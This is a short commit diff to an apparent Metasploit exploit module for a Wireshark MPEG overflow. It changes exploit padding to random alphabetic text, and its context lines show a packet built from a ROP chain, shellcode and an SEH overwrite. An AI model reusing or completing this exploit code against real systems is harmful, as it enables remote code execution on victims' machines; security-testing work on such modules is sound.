Add more rand_text_alpha functions

Author: jholgui

modules/exploits/windows/misc/wireshark_mpeg_overflow.rb

@@ -99,7 +99,7 @@ def exploit
     ropchain = create_rop_chain
     packet << ropchain
     packet << payload.encoded      							# Shellcode
-    packet << pattern_create(target['OffSet'] - 892 - ropchain.length - payload.encoded.length)
+    packet << rand_text_alpha(target['OffSet'] - 892 - ropchain.length - payload.encoded.length)
     # SEH pointers overwrite (nseh & seh) 
     packet << make_nops(4) # nseh
     # \0xff is a badchar then we can't make a jump back with jmp $-2000